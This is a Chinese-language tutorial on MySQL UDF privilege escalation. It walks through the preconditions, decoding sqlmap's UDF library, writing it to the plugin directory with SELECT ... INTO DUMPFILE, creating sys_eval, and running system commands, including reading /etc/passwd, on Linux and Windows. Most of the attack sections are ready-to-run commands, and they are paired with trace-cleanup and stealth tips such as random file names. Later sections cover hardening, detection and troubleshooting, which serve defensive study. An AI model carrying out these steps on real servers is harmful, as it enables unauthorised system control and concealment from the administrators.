MySQL UDF提权原理与实战:从数据库功能到系统权限提升
1. 项目概述与核心价值
在渗透测试或安全评估的后期,当我们通过Web漏洞拿到一个WebShell,却发现目标系统补丁齐全、常规的系统提权路径被堵死时,往往会陷入僵局。这时候,我们的目光就需要转向那些运行在系统上的第三方应用,比如数据库。MySQL,作为最广泛使用的数据库之一,如果配置不当,就可能成为我们通往更高权限的跳板。今天要聊的“MySQL UDF提权”,就是这样一个经典的、利用数据库自身功能实现权限提升的技术。
简单来说,UDF(User Defined Function)是MySQL提供给用户的一个扩展接口,允许你像调用内置函数(如CONCAT()、NOW())一样,调用自己用C或C++编写的函数。这本是为了增强数据库功能而设计的特性,但在安全人员眼中,如果能够向MySQL服务器写入一个恶意的UDF动态链接库(Linux下是.so文件,Windows下是.dll文件),并创建一个函数来执行系统命令,那么我们就能够以MySQL服务进程的权限来执行任意命令。这就是UDF提权的核心逻辑:它并非直接提升系统用户权限,而是“借用”了MySQL服务进程的权限来执行操作。因此,其效果高度依赖于MySQL服务是以什么系统用户身份运行的。如果MySQL是以root或SYSTEM这样的高权限账户启动,那么UDF提权成功后,你几乎就获得了系统的最高控制权。
这个技术之所以历久弥新,是因为它触及了安全中一个永恒的矛盾:功能性与安全性的平衡。为了灵活性而开放的特性,往往可能成为攻击面。理解UDF提权,不仅能让你在授权测试中多一种突破手段,更能让你以防御者的视角,深刻理解为何数据库的安全配置(如运行账户、文件导入导出权限)如此重要。
2. UDF提权原理与前置条件深度解析
2.1 UDF机制与提权链路拆解
要利用UDF提权,首先得明白MySQL是如何加载和使用这些自定义函数的。整个过程可以拆解为几个关键步骤:
- 函数声明与注册:当你在MySQL中执行
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';时,你实际上是在mysql.func系统表中插入了一条记录。这条记录告诉MySQL:“有一个名为sys_eval的函数,它返回字符串类型,其实现代码在udf.so这个共享库里”。 - 库文件加载:MySQL服务进程在需要调用该函数时,会根据
SONAME指定的路径去加载这个共享库文件。这个加载行为,是以MySQL服务进程自身的身份和权限进行的。 - 函数执行与系统调用:共享库中的
sys_eval函数被设计为接收一个字符串参数(即系统命令),然后通过C语言的system()或popen()等函数来执行它。命令执行的环境和权限,同样是MySQL服务进程的。
因此,整个攻击链路的成败取决于两个核心环节:能否成功将恶意UDF库文件写入到MySQL能够加载的目录,以及MySQL服务进程本身是否具备足够的系统权限。
2.2 成功利用的四大前提条件
根据原理,我们可以总结出UDF提权成功的几个必要条件,缺一不可:
MySQL具备
FILE权限,且secure_file_priv配置为空:这是整个利用的“入场券”。FILE权限允许用户执行SELECT ... INTO OUTFILE和LOAD_FILE()操作。而secure_file_priv这个系统变量,则严格限制了这些文件操作的路径。secure_file_priv = NULL:禁止任何文件的导入导出。这是MySQL 5.5+版本的默认设置,直接封死了这条路。secure_file_priv = /tmp/:只允许在/tmp/目录下进行文件操作。如果插件目录不在此路径下,则无法写入。secure_file_priv = ‘’(空值):不对文件操作进行路径限制。这是我们需要的理想状态。 你可以通过SHOW GLOBAL VARIABLES LIKE ‘secure_file_priv’;来查看当前配置。在复现或授权测试中,如果发现不是空值,可能需要寻找修改MySQL配置文件(my.cnf或my.ini)的机会,或者利用其他漏洞进行修改。
已知MySQL插件目录(plugin_dir)的路径,并具有写入权限:UDF库文件必须放置在MySQL的插件目录下,MySQL才会去加载。这个目录可以通过
SHOW VARIABLES LIKE ‘plugin_dir’;查询。关键在于,运行MySQL服务的系统用户必须对这个目录有写权限。在Linux下,如果MySQL以mysql用户运行,而plugin_dir是/usr/lib/mysql/plugin/且属于root,那么直接写入就会失败。MySQL服务进程以较高权限运行:这是决定提权“质量”的关键。在Linux中,如果MySQL以
root用户运行,那么UDF函数就能执行任何命令;如果以普通mysql用户运行,则权限有限。在Windows中,情况类似,但通常Windows服务账户(如LocalSystem、NetworkService)的权限比Linux下的普通用户要高,利用成功率也相对更高。可以通过查询进程信息或尝试执行whoami类的命令来间接判断。目标系统架构与UDF库文件匹配:你需要上传与目标操作系统(Windows/Linux)和架构(32位/64位)匹配的UDF库文件。上传一个Linux的
.so文件到Windows服务器是无效的。可以通过MySQL的SELECT @@version_compile_os, @@version_compile_machine;命令来获取这些信息。
注意:在实际的渗透测试中,同时满足以上所有条件的情况并不常见,尤其是在现代云服务器或经过安全加固的系统中。因此,UDF提权更像是一种“机会主义”的武器,在特定配置不当的环境下能发挥奇效。
3. Linux环境下的UDF提权实战复现
为了彻底搞懂整个过程,我们最好亲手搭建环境复现一遍。这里我选择在Linux(Kali或Ubuntu)下进行,因为其权限体系更严格,能更好地暴露问题。
3.1 靶机环境搭建与关键配置
首先,我们需要一个配置有问题的MySQL服务作为靶机。为了复现,我们故意制造两个安全漏洞:一是将secure_file_priv设置为空,二是让MySQL以root身份运行。
步骤一:安装并配置MySQL如果你使用Kali,可能已经安装了MariaDB。为了干净起见,我们可以安装MySQL社区版。这里以Ubuntu为例,但原理相通。
sudo apt update sudo apt install mysql-server -y安装后,MySQL通常会以mysql用户身份运行一个systemd服务。我们需要先停止它,并修改配置。
sudo systemctl stop mysql步骤二:修改MySQL配置文件,降低安全设置找到MySQL的配置文件/etc/mysql/mysql.conf.d/mysqld.cnf(路径可能因版本而异),在[mysqld]部分添加或修改以下两行:
[mysqld] ... secure_file_priv = '' user = root第一行secure_file_priv = ‘’允许任意文件导入导出。第二行user = root指示MySQL以root用户身份启动,这是极不安全的配置,仅用于测试。
步骤三:以修改后的配置启动MySQL由于我们修改了运行用户,需要确保MySQL数据目录(如/var/lib/mysql)的权限允许root用户读写。更简单的方式是直接以root身份运行mysqld进程,绕过systemd:
sudo mysqld_safe --skip-grant-tables --skip-networking &--skip-grant-tables跳过权限验证,方便我们登录。--skip-networking只允许本地连接,避免外部攻击。稍等片刻后,我们可以无密码登录:
mysql -u root步骤四:验证关键配置登录MySQL后,执行以下命令确认环境:
-- 查看secure_file_priv,应该为空 SHOW GLOBAL VARIABLES LIKE ‘secure_file_priv’; -- 查看插件目录 SHOW VARIABLES LIKE ‘plugin_dir’; -- 查看数据库版本和操作系统架构 SELECT @@version_compile_os, @@version_compile_machine; -- 查看当前MySQL进程用户(在MySQL内执行系统命令需要借助UDF,这里先看变量,UDF创建后再验证) SELECT @@version;如果secure_file_priv显示为空值(不是NULL),plugin_dir路径存在(例如/usr/lib/mysql/plugin/),且我们是以root启动的,那么环境就准备好了。
3.2 利用过程详解与手工实现
3.2.1 信息收集与条件判断
在真实的渗透场景中,你通过WebShell获得的MySQL连接可能权限有限。第一步永远是信息收集:
-- 1. 检查文件导出权限 SHOW VARIABLES LIKE ‘secure_file_priv’; -- 2. 检查插件目录 SHOW VARIABLES LIKE ‘plugin_dir’; -- 3. 检查系统架构,决定使用32位还是64位UDF文件 SELECT @@version_compile_os, @@version_compile_machine; -- 4. 尝试查看当前用户是否有写入插件目录的权限(可以通过写入一个测试文件来判断) -- 但注意,在MySQL SQL层面无法直接判断文件系统权限,通常需要尝试写入。3.2.2 获取与处理UDF库文件
最经典的UDF库文件来源于sqlmap。sqlmap内置了经过编码(异或)的UDF库文件,以防止被误查杀。我们需要先解密。
定位sqlmap中的UDF文件:在Kali中,sqlmap通常位于
/usr/share/sqlmap/。UDF文件在data/udf/mysql/目录下,区分操作系统和架构。ls -la /usr/share/sqlmap/data/udf/mysql/你会看到
linux和windows目录,里面分别有32和64位子目录。文件后缀为_,表示已被编码。使用cloak.py工具解密:sqlmap提供了一个Python脚本用于编解码这些文件。
cd /usr/share/sqlmap/extra/cloak/ python3 cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_执行后,会在同目录下生成一个解密后的
lib_mysqludf_sys.so文件。请务必确认架构匹配,如果目标是32位系统,则使用linux/32/下的文件。
3.2.3 上传UDF库文件的两种方法
将.so文件上传到目标服务器的MySQL插件目录,是技术难点。主要有两种方法:
方法一:直接使用SELECT ... INTO DUMPFILE(推荐,但受限于LOAD_FILE)这要求我们能够将本地文件的内容读取到MySQL中,再写入目标路径。通常需要WebShell将UDF文件内容进行十六进制编码。
-- 在WebShell中,使用xxd或hexdump命令将.so文件转为十六进制字符串 xxd -p /path/to/lib_mysqludf_sys.so | tr -d ‘\n’ -- 会得到一个很长的十六进制字符串,如7f454c460201010000... -- 然后在MySQL中执行 SELECT 0x7f454c4602... INTO DUMPFILE ‘/usr/lib/mysql/plugin/udf.so’;INTO DUMPFILE会原样写入二进制数据,而INTO OUTFILE会在行末添加换行,可能破坏二进制文件。
方法二:通过WebShell直接上传文件如果你有WebShell的文件上传权限,并且知道插件目录的路径,可以直接将lib_mysqludf_sys.so复制或上传到该目录,并重命名为udf.so。这通常更简单。
# 在WebShell中执行 cp /tmp/lib_mysqludf_sys.so /usr/lib/mysql/plugin/udf.so chmod 755 /usr/lib/mysql/plugin/udf.so # 确保MySQL进程有执行权限实操心得:
LOAD_FILE()函数在读取二进制文件时经常返回NULL,尤其是在文件较大或包含空字节时。因此,方法一中的十六进制转换是更可靠的方式。另外,务必注意插件目录的权限。如果目录不存在,你需要先创建它:SELECT ‘test’ INTO DUMPFILE ‘/usr/lib/mysql/plugin/test.txt’;,如果失败,可能是目录不存在或无权限。
3.2.4 创建UDF函数并执行命令
成功上传UDF文件后,剩下的就简单了。
-- 1. 创建自定义函数,关联到我们上传的库文件 CREATE FUNCTION sys_eval RETURNS STRING SONAME ‘udf.so’; -- 如果成功,则无报错。如果报错“ERROR 1126 (HY000): Can't open shared library...”, -- 通常意味着库文件路径不对、文件损坏、架构不匹配或权限不足。 -- 2. 使用创建的函数执行系统命令 SELECT sys_eval(‘whoami’); -- 如果返回‘root’,则提权成功。 SELECT sys_eval(‘id’); SELECT sys_eval(‘cat /etc/passwd’);sys_eval函数会执行命令并返回其输出。还有一个常用的函数是sys_exec,它只返回命令的退出状态码,不返回输出。
3.2.5 清理痕迹
测试完成后,为了隐蔽和清理环境,应删除函数和UDF文件。
-- 删除函数 DROP FUNCTION sys_eval; -- 通过MySQL删除文件(需要FILE权限) SELECT sys_eval(‘rm -f /usr/lib/mysql/plugin/udf.so’); -- 或者,如果函数已删除,可以通过WebShell删除文件4. Windows环境下的UDF提权差异与要点
Windows平台下的UDF提权原理完全相同,但细节上有一些差异,这些差异往往影响着利用的成败。
4.1 环境搭建特点
在Windows上,我们常用集成环境如phpStudy、WAMP等。这些环境中的MySQL默认配置可能更“宽松”。
允许外部连接:一些集成环境默认只允许本地连接。需要手动授权:
GRANT ALL PRIVILEGES ON *.* TO ‘root’@’%’ IDENTIFIED BY ‘your_password’ WITH GRANT OPTION; FLUSH PRIVILEGES;修改
my.ini,注释掉bind-address = 127.0.0.1这一行,并重启MySQL。secure_file_priv设置:老版本的MySQL(如5.5)可能默认此项为空。新版本(5.6+)则默认为NULL。检查方法同上。插件目录路径:Windows下的插件目录通常位于MySQL安装目录的
lib\plugin子目录下,例如D:\phpStudy\MySQL\lib\plugin\。同样通过SHOW VARIABLES LIKE ‘plugin_dir’;查询。
4.2 利用过程的关键差异
UDF文件格式:需要使用
.dll文件,而不是.so。从sqlmap中获取windows/64/lib_mysqludf_sys.dll_并解密。python cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_文件上传路径:Windows路径使用反斜杠,并且在SQL语句中需要转义或使用正斜杠。
-- 假设插件目录是 C:\mysql\lib\plugin\ SELECT 0x4d5a9000... INTO DUMPFILE ‘C:/mysql/lib/plugin/udf.dll’; -- 或者 SELECT 0x4d5a9000... INTO DUMPFILE ‘C:\\mysql\\lib\\plugin\\udf.dll’;错误信息差异:这是非常重要的一个点。在Linux下,如果UDF文件路径错误,MySQL通常会明确报错“Can't find file ‘/xxx/udf.so’”。而在Windows下,错误信息通常是“Can't open shared library ‘udf.dll’ (errno: 126)”。
errno: 126意味着“找不到指定的模块”,这可能是因为文件不存在、路径错误,也可能是依赖的DLL(如VC运行库)缺失。这增加了排错的难度。权限与成功率:Windows服务管理器的特性,使得许多MySQL服务默认以
LocalSystem或NetworkService账户运行,这些账户本身具有较高的权限。因此,在Windows上,只要满足了文件写入条件,UDF提权的成功率往往比Linux更高,直接就能获得一个高权限的shell。
4.3 Windows提权示例命令
-- 1. 信息收集 SELECT @@basedir; SHOW VARIABLES LIKE ‘plugin_dir’; SELECT @@version_compile_os, @@version_compile_machine; SHOW VARIABLES LIKE ‘secure%’; -- 2. 上传DLL(通过十六进制字符串,这里字符串极长,已省略) SELECT 0x4d5a900003000000... INTO DUMPFILE ‘C:/ProgramData/MySQL/lib/plugin/udf.dll’; -- 3. 创建函数 CREATE FUNCTION sys_eval RETURNS STRING SONAME ‘udf.dll’; -- 4. 执行命令 SELECT sys_eval(‘whoami’); -- 在Windows上,可能返回 ‘nt authority\system‘ SELECT sys_eval(‘ipconfig’); SELECT sys_eval(‘net user’);5. 高级技巧、防御与检测
5.1 利用中的难点与绕过技巧
secure_file_priv不为空:这是最常见的障碍。- 尝试修改配置文件:如果有WebShell的写权限,可以尝试修改
my.cnf或my.ini,然后重启MySQL。但重启数据库风险大、动静大。 - 利用日志文件:如果
general_log或slow_query_log是开启的,并且日志文件目录可写,可以尝试将UDF代码写入日志文件,然后通过LOAD_FILE()读取。但这需要非常特殊的配置。 - 寻找已有可写目录:检查
secure_file_priv指定的目录是否可写,或者MySQL的tmpdir是否可写。有时可以将UDF文件写入临时目录,然后通过软链接或其他方式(需系统权限)移动到插件目录,但这要求更高。
- 尝试修改配置文件:如果有WebShell的写权限,可以尝试修改
插件目录不可写:
- 利用Web目录:如果
secure_file_priv为空,可以尝试将UDF文件写入Web目录,然后通过CREATE FUNCTION … SONAME ‘/var/www/html/udf.so’;来加载。但这要求MySQL服务账户有权限读取Web目录的文件,且plugin_dir变量允许加载该路径下的文件(通常不允许,plugin_dir是固定路径)。 - 暴力猜解或信息泄露:有时可以通过错误信息、配置文件泄露等找到可写目录。
- 利用Web目录:如果
MySQL运行在低权限账户下:这是最根本的限制。如果MySQL以
mysql或nobody运行,即使UDF提权成功,也只能执行该用户权限下的命令。此时需要结合其他本地提权漏洞(如内核漏洞、SUID程序滥用等)来获得root权限。
5.2 防御措施
作为防御方,应从多个层面杜绝UDF提权的可能性:
- 最小权限原则运行MySQL:绝对不要以
root或Administrator身份运行MySQL服务。在Linux上,创建专用的mysql用户,并确保该用户权限被严格限制。在Windows上,使用低权限的虚拟账户。 - 严格配置
secure_file_priv:在生产环境中,务必将其设置为NULL或一个特定的、非MySQL插件目录的路径。这是最有效的一招。[mysqld] secure_file_priv = NULL - 控制
FILE权限:仅授予必要用户FILE权限。通常只有备份等管理任务需要此权限。REVOKE FILE ON *.* FROM ‘app_user’@’%’; - 移除或保护插件目录:确保插件目录(
plugin_dir)的权限严格,只有MySQL服务用户有读取和执行权限,无写权限。甚至可以移除不必要的UDF插件。 - 使用数据库防火墙或WAF:监控异常的SQL语句,特别是包含
INTO DUMPFILE、LOAD_FILE以及尝试创建FUNCTION且SONAME指向非常规路径的语句。 - 定期审计与更新:定期检查
mysql.func表,查看是否有可疑的自定义函数。保持MySQL版本更新,关注安全公告。
5.3 攻击检测与应急响应
如果怀疑系统已被通过UDF提权,可以按以下步骤排查:
检查自定义函数:
SELECT * FROM mysql.func;查看是否有
sys_eval、sys_exec、do_system等可疑函数。检查插件目录文件:列出插件目录下的所有文件,检查是否有陌生的
.so或.dll文件。ls -la /usr/lib/mysql/plugin/ dir C:\mysql\lib\plugin\检查MySQL错误日志:查看是否有关于加载共享库失败的记录。
系统进程与网络连接:检查是否有来自MySQL进程的异常子进程或网络连接。
发现入侵后,应急响应步骤:
- 立即删除恶意UDF函数:
DROP FUNCTION sys_eval; - 删除恶意UDF库文件。
- 根据上述防御措施加固MySQL配置。
- 彻底排查攻击者可能留下的其他后门。
6. 常见问题与排查实录
在实际操作中,你肯定会遇到各种报错。这里我整理了一份常见错误速查表,帮你快速定位问题。
| 错误信息 | 可能原因 | 排查步骤 |
|---|---|---|
ERROR 1045 (28000): Access denied | 数据库连接权限不足 | 检查用户名、密码、主机限制。尝试使用WebShell中的数据库配置。 |
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option | secure_file_priv限制生效 | SHOW VARIABLES LIKE ‘secure_file_priv’;查看当前设置。 |
ERROR 1126 (HY000): Can't open shared library ‘udf.so’ | 库文件无法加载 | 1. 确认文件路径完全正确。 2. 确认文件存在且MySQL进程有读权限。 3. 确认库文件与系统架构匹配(32/64位)。 4. 在Linux上,用 ldd udf.so检查依赖是否满足。5. 在Windows上,可能是缺少VC运行库(如msvcr100.dll)。 |
ERROR 1123 (HY000): Can't initialize function ‘sys_eval’; | 函数初始化失败 | 通常是UDF库文件损坏或不兼容。尝试重新生成或使用不同版本的UDF文件。 |
SELECT … INTO DUMPFILE成功但无文件 | 写入路径无权限或目录不存在 | 1. 检查目标目录是否存在。 2. 检查MySQL进程用户对该目录是否有写权限。 3. 尝试写入一个简单文本文件测试。 |
执行sys_eval无回显或返回NULL | 命令执行失败或函数问题 | 1. 尝试执行一个简单命令,如sys_eval(‘echo test’)。2. 检查MySQL错误日志。 3. 可能是UDF函数内部实现问题,尝试其他函数如 sys_exec。 |
| 函数创建成功,但执行命令时报错 | 系统环境问题 | 1. 检查MySQL进程用户的PATH环境变量,使用绝对路径执行命令,如/bin/whoami。2. 目标系统可能禁用了某些系统调用。 |
独家避坑技巧:
- 十六进制Payload的生成与使用:在WebShell中,如果
xxd命令不可用,可以用cat udf.so | od -An -tx1 | tr -d ‘ \n’来生成十六进制。在MySQL中执行超长的SELECT 0x…语句时,可能会因为客户端限制而截断。可以尝试将Payload分段写入一个变量,或者使用编程语言(如Python的pymysql)来执行。 - 插件目录的寻找:如果
SHOW VARIABLES LIKE ‘plugin_dir’;返回空,可以尝试在MySQL的数据目录、安装目录下寻找lib/plugin或lib/mysql/plugin文件夹。也可以故意创建一个错误的函数来触发错误信息,有时错误信息会包含搜索路径。 - Windows下的DLL依赖:自己编译UDF DLL时,尽量使用静态链接,避免依赖额外的运行时库。使用sqlmap提供的DLL通常兼容性较好。
- 隐蔽性考虑:上传的UDF文件名不要用常见的
udf.so,可以随机命名。函数名也可以自定义。执行命令后,及时删除函数和文件。
